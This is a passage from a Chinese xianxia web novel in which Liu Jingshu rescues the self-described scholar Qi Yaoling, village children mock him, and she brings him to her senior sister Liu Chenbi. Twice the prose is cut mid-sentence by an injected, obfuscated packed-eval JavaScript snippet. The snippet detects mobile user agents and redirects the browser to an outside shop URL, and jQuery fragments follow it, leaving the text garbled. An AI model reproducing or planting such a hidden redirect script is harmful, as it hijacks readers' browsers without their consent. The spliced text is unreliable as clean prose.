祁曜灵见柳静姝没开口说话,他柔弱的往前挪动一小段距离,等到离柳静姝足够近的位置,他又继续说道:“褚怀春真不是个人玩意儿!他还想算计静姝姑娘!幸好静姝姑娘这等聪明的姑娘没有上当。”
柳静姝一边听祁曜灵说话,一边把粗麻布扔下,开始解起祁曜灵身上的绳子,问道:“你怎么会遇上他们?”
祁曜灵受了天大的委屈说道:“我昨日回到城里的客栈,我瞅着家里那个不肖晚辈病得厉害,担心他会出事,便想着赶紧来找静姝姑娘……”
柳静姝瞧着祁曜灵不像说谎。昨天没听见他说有家人一同来到这座城,也没听到他说家里有哪个人生病了。她问道:“你的家人是什么病?”
“我还在等开城门呢!没想到被那两个说谎话欺骗我找不到静姝姑娘的大坏蛋掳走了。”祁曜灵要把苦水都吐出来才说出他的晚辈患上什么病症,“他脑子有病。”
柳静姝:“嗯?痴傻?”
“倒也不是天生痴傻。”祁曜灵做出一副关心晚辈的模样解释说,“他啊,一会儿像个正常人,一会好端端的突然犯病。犯起病来便识人不清,逢人就……”
“就?”
“就芳心暗许!”祁曜灵咬牙切齿地说道,“他这样的人啊,最会骗小姑娘了,也是最容易变成负心汉了!”
柳静姝默默的听完。过了一会,她发现祁曜灵还坐在地上不起来。“你的脚受伤了?”
祁曜灵仿佛才发觉自己的腿脚受伤,他坚强地说道:“是的。没关系,我不疼的。”
说完,祁曜灵朝柳静姝笑了起来。
天色渐渐亮起,朦朦胧胧的光落在祁曜灵身上,他还是一身浅色的衣裳,似误入凡间的仙人。
狗蛋气冲冲地跑出了一个第一名。他小小一个人还没跑到柳静姝家门前,声音先传了过来:“静姝姐姐!大哥!”
“姓褚那家伙欺负你们了?看我不拿书砸死他!”狗蛋哼哧哼哧地抱起一沓书册冲了进来,他气势汹汹地举起一本书,东张西望寻找着攻击目标,“他人呢?!”
二丫探头进来,一眼看见坐在地上的祁曜灵,问道:“这个大哥哥又摔倒了?”
大丫拉着二丫跑进来说道:“这个大哥哥身体很不好啊。”
狗蛋没找到褚怀春,哼哼的走过来说道:“大哥你不行啊,昨天摔,今天摔,可别把我静姝姐姐碰坏了。要不是知道你不是坏人,你绝对是碰瓷静姝姐姐的恶人。”
三个孩子把身体不好、容易摔跤的标签按死在祁曜灵身上。
“我昨日分明是晕过去的。”祁曜灵可以被人默认成身体不大好的书生,但绝对不能够被人认定是身体不行。
“我真的很中用!”祁曜灵强调说,“我是被抓过来的。幸好有静姝姑娘救了我,否则我性命堪忧了。”
二丫的爹娘和狗蛋的爹娘晚来一会,他们听到祁曜灵的话,急忙跟紧“受害人”发表言论。
后面举着木棍、斧头冲过来的村民们听见二
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579224|205073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丫的爹娘和狗蛋的爹娘都在说柳静姝又救了哪个人,他们都没有怀疑救人是真是假,纷纷夸起柳静姝来。
被柳静姝救下来的祁曜灵三言两语把救命之恩架了起来。
“这是什么呀?”狗蛋自觉担当起要报答保护大家的重任,他正要检查院子里有可能藏人的地方,便发现地面有一本蓝皮封面的书,“嗯?夫君出征归来那日哎哟——”
柳静姝正在和关心她安全的村民们说话,他听到狗蛋念出什么字,一个闪身冲过去抽走狗蛋捡起来的书,反手把狗蛋放在一边的书物归原主。“狗蛋的功课做完了吗?”
狗蛋:“……”
“姐姐!我们做完啦!”二丫和大丫高高举起双手齐声说道。
二丫和二丫这般争气,真让闻者伤心落泪。
狗蛋心虚地抱紧怀中的书籍,他还想着用书中的道理教育褚怀春,以此躲过柳静姝检查功课的难关。
他幽幽叹气,猛然注意到一个静悄悄偷看柳静姝的人。
“大哥!你是书生,对吧!”
“救我狗命!大哥!”
狗蛋当场抱住祁曜灵的大腿大声呼喊道。
村里会读书识字的人很少,柳静姝算一个。
柳静姝比较忙,每隔几天会早出晚归。她还得负责医治病人,村里边的孩子要想读书识字还得去上隔壁村的书塾。
狗蛋和二丫、大丫仗着家中的地理位置恨不得时时刻刻往柳静姝家跑。她们三个人串门方便,也就顺便在柳静姝这识字。
祁曜灵睁大清澈的大眼睛与狗蛋饱含期待的小狗眼对视,双眼一定,灵魂出窍。
狗蛋:“大哥!你怎么了!大哥!”
祁曜灵:“这字……我都识得,放在一起怎就看不懂了呢?”
“啊……”狗蛋张大嘴巴,双手一摊,“英雄所见略同啊,大哥。”
祁曜灵一下子感受到倍增的压力,他不信邪非要再一次尝试让知识进入大脑。
他又一次双眼空空。
狗蛋不争气的痛呼:“大哥!你可是书生啊大哥!”
“谁说书生一定就厉害了?”祁曜灵大脑空空,他双手捧着狗蛋的书走向柳静姝说,“静姝姑娘!你教狗蛋也是教,不如一道教教我吧!”
柳静姝:“书生?”
“人的书太难了。”祁曜灵无辜地眨眼,他隐蔽的掏出一本书说道,“我读书不行,但我能写话本子!”
柳静姝看清了书的封面。
这不就是她和师姐倒腾来倒腾去最后只售出一本友情价的话本子吗?
11. 第 11 章
祁曜灵自称是一位书生。
柳静姝今天才知道祁曜灵口中的书生是仅能看懂书本文字的学生,但凡把文字连成句、连成段的经典文章,祁曜灵一句话都看不懂。
放在其他脸皮不够厚的书生身上,他或许会感到羞耻。
祁曜灵不会。
他自豪地挺起胸脯,沐浴在柳静姝震惊的目光下,不以为耻,反以此为荣。
狗蛋本来是心虚到要贴紧“救命稻草”祁曜灵,结果他发现了“救命稻草”的厚脸皮和自信,他不由得跟着祁曜灵一起骄傲地抬头挺胸,自豪做人。
狗蛋的爹娘见状,恨狗蛋不争气恨得牙痒痒。
狗蛋已经养成了遇事先捂住屁股的良好习惯,赶在狗蛋娘借用柳静姝院子里的扫帚之前,他先起跳找祁曜灵做挡箭牌!
“大哥!救我——救救我!我被爹娘打惨了怎么陪你抓鸟啊!”
祁曜灵在狗蛋希望又绝望的眼睛注视下,笑眯眯地把狗蛋交还给他的亲生父母。
“我虽然看不懂凡人的四书五经,但是我看的懂人间的话本子!”
祁曜灵没有发现柳静姝意味深长的眼神,以为是自己专门偷学的技巧生效了。他露出纯净无害的笑容,尖尖的牙齿随着他的笑容显露出来。“我帮你写话本子,静姝姑娘教我学四书五经呀!”
“你真的要学?”柳静姝问道。
“当然了!”祁曜灵想都没想就点头说道,“我就喜欢和静姝姑娘学东西!学什么都行,能跟在静姝姑娘身边就成!”
柳静姝没说话,静静地盯着祁曜灵看,像是要把他掰开来仔细研究一下祁曜灵是什么物种。
祁曜灵无所察觉,正因为柳静姝全神贯注看着他而暗爽。他猛然想起此前观测到的全过程,连忙说道:“话本子挣了多少钱,我可以和静姝姑娘分着拿。”
末了,他往柳静姝乌黑的长发瞅了瞅,又补充一句:“挣来的钱全部给静姝姑娘也行!全当是我给静姝姑娘的学费。”
祁曜灵差一点再说多一句把全部身家都交给柳静姝的话。
他微微有点波浪弯曲的发尾似乎开心的摇晃了一下。
“不用,到时候商量好该怎么分就怎么分。”柳静姝佯装淡定的拿走祁曜灵手里的书,她挡住大丫和二丫好奇的小眼神说,“大丫和二丫先去玩吧,我晚上再和你们讲解功课。”
祁曜灵见缝插针插进去一句话,他问道:“静姝姑娘,我呢!”
狗蛋边跑边盖住屁股喊道:“嗷啊!静姝姐姐你家的扫帚怎滴就比我家的扫帚硬啊!不对!姐姐救我啊!”
“对不起,狗蛋。”柳静姝诚恳地向狗蛋道歉,“你爹娘教导你一事,我不方便插手。”
狗蛋一家的日常总是这般鸡飞狗跳。狗蛋娘每次喊着要打狗蛋都很大声。
毫不夸张地说,狗蛋爹娘打狗蛋那一天,传出来的声音青山村的村头和村尾都能听得见。
狗蛋嘴上喊着疼,实际上挨完打没过多久,他又活蹦乱跳去爬树、抓鸟、捉鱼了。
二丫爹娘和村里的人唠嗑,瞧见柳静姝带上祁曜灵一道出门。
二丫娘:“静姝要出门啊。”
柳静姝笑着回答说道:“是啊,家里又要麻烦婶了。”
二丫娘多瞧了祁曜灵几眼,爽快的答应下来。“静姝你放心,会帮你记下哪家人找你。”
柳静姝不在家时,二丫一家和狗蛋一家都帮着她看家门。哪个人要找柳静姝找不着,又不在青山村等着她,她们都会在当天见到柳静姝时一一说起。
祁曜灵脚步轻快,喜滋滋地跟在柳静姝身后,配合起她不行的速度行走,也不问去哪里,只顾着跟上她一起走。
柳静姝去哪里,祁曜灵便跟着到哪里去。
柳静姝发现不管她走得有多快,祁曜灵都能恰到好处的和她隔开一小段距离。
不远不近,正正好是不打扰柳静姝,又让她不会忽略掉他的距离。
柳静姝带上祁曜灵一起去见柳沉璧。
柳沉璧刚刚检查完阵法有没有出现漏洞,她就收到柳静姝发来的传信。
上面先是问一问柳沉璧的阵法怎么样,然后提到有一个“书生”自告奋勇来应聘写话本子的工作。
“你带这位书生来找我应聘工作?”柳沉璧见识了祁曜灵一问三不知的名场面,一时半会想不明白柳静姝带上一个只认识字的书生来写话本的理由是什么?
祁曜灵查阅经典古籍的动作凝固在翻开书页的第一步,而后他的双目发直,两只眼睛的视线看似落在书页上,又不像是在认真阅读文字。
他此时此刻正坐在椅子上看出,其实已经走了很长一段时间。
北风呼呼的吹动着,祁曜灵睁圆的大眼睛缓缓地闭上。温暖的室内无疑在加快祁曜灵入睡的进程。
呼啦——
今日的风出其的大。
祁曜灵正坐在窗前阅读经典古籍入睡,猝不及防遭到猛烈如刀刃的北风呼脸。
他那一张白皙的脸蛋好像多了一道寒风呼出来的刀剑伤口,又冷又疼。
祁曜灵的“瞌睡虫”被寒风击打而死。几缕受北风突击的发丝飘飘然逃脱出发带的束缚,迎风凌乱地飘动。
他还带着刚刚清醒过来的迷糊,由着头发丝如水中游鱼般肆意游动。
柳沉璧沉默了。
她给柳静姝一个精美的暖手炉,困惑地问道:“小师妹你不会是看上了他那一张脸吧?”
干干净净又莫名的容易让人心生怜惜。
柳沉璧越深入思考,越是认同这一观点。
她的小师妹很少有这么失礼的时候。
柳静姝从进门交给祁曜灵一本讲解民间流传的神兽精怪的古籍开始,她的眼睛就没有从祁曜灵身上挪开的时候。
“小师妹你喜欢这一款的男人啊。”柳沉璧自认为自己猜中了柳静姝的真实想法,“你既然喜欢这种脾气好的,怎么做到容忍褚怀春这么长时间?”
“褚怀春?”柳静
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579225|205073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姝愣了一下,她反省自己的所作所为,问道,“师姐你也觉得我对褚怀春有意思?”
“小师妹,就算是也白日不可胡说八道。”柳沉璧手动闭上柳静姝的嘴巴,问道,“哪一个人张口就胡说八道?什么有意思、没意思,这是关乎一个人的忍受耐力的考验。换做是我,我可没有你这么有耐心教他修炼,又给他准备丹药,费力不讨好。”
柳沉璧想了想褚怀春平日里的脾气,又是一顿摇头。
“拿钱办事。”柳静姝给柳沉璧传音说道,“既然收了系统给的灵石,让他平安长大到十八岁成年,让他有个比凡强壮的好体魄,不算占系统的便宜。”
系统给柳静姝支付的灵石一大半花在了大师兄身上。余下的部分由柳静姝和柳沉璧两人平分,她又花了不少力气在褚怀春的修行基础上。
柳沉璧“哎呀!我就是说应当让其他人收养褚怀春。你给他找个合适的人家……”
柳静姝不是没想过支付一笔钱财给一户好心善良人家扶养褚怀春长大到成人。她调查过褚怀春的脾气和心性,难保会给好心人带来麻烦。
她尽可能的去纠正褚怀春的行为,收获甚微。
让褚怀春有一副相对强健的身体,也不过是为了保证他不会像书中描述的那般早逝。
系统给柳静姝一笔巨额灵石,她保下褚怀春一条性命,不算她贪图钱财占小便宜。
说到系统,从褚怀春决定和乔依依、楚翊离开青山村的那一刻起,柳静姝已经找不到系统颁布的任务,系统也消失了。
柳静姝暂时没发现哪里有问题,她应该是正常的和系统解绑了。
柳沉璧:“小师妹,你和祁曜灵呢?”
柳静姝把两本一模一样的话本子拿出来整齐并排放在桌面上说道:“师姐不是说只有蓝浅使用友情价买下了一本吗?祁曜灵身上找到了第二本。”
“他哪里来的?”
柳沉璧倍感惊讶,问道。
“不知道。”柳静姝回答说,“看他还认识谁。”
“总不能是蓝浅那不省心的剑修搞出来的事吧?”柳沉璧抓破头没有想明白多出来的一本书是怎么回事,“你问过他了?”
“问了,他只说是从朋友那里拿来的。”
“……假若祁曜灵说的是真的,他真是蓝浅的好友,我得多敲蓝浅一笔。”柳沉璧与剑宗的大弟子蓝浅昨日才见过一面,两人点到为止的切磋一番。
蓝浅既是剑宗的大弟子,他有庞大宗门在背后做支撑,自然是和柳静姝她们这种散修的剑宗要富有的多。
柳静姝的宗门除去已故的师尊,如今仅剩下她们师兄妹三人。大师兄修为最高,他在剑术上少有所成,又是纯纯血种的剑修,为了防止被师尊生前得罪过的仇人找什么,能拿到什么有什么的柳静姝和柳沉璧全堆在大师兄身上了。
提到剑修绕不过大师兄,柳沉璧正打算和小师妹聊一聊大师兄不久前的传讯,就听到柳静姝问她:“师姐你看祁曜灵像蛇吗?”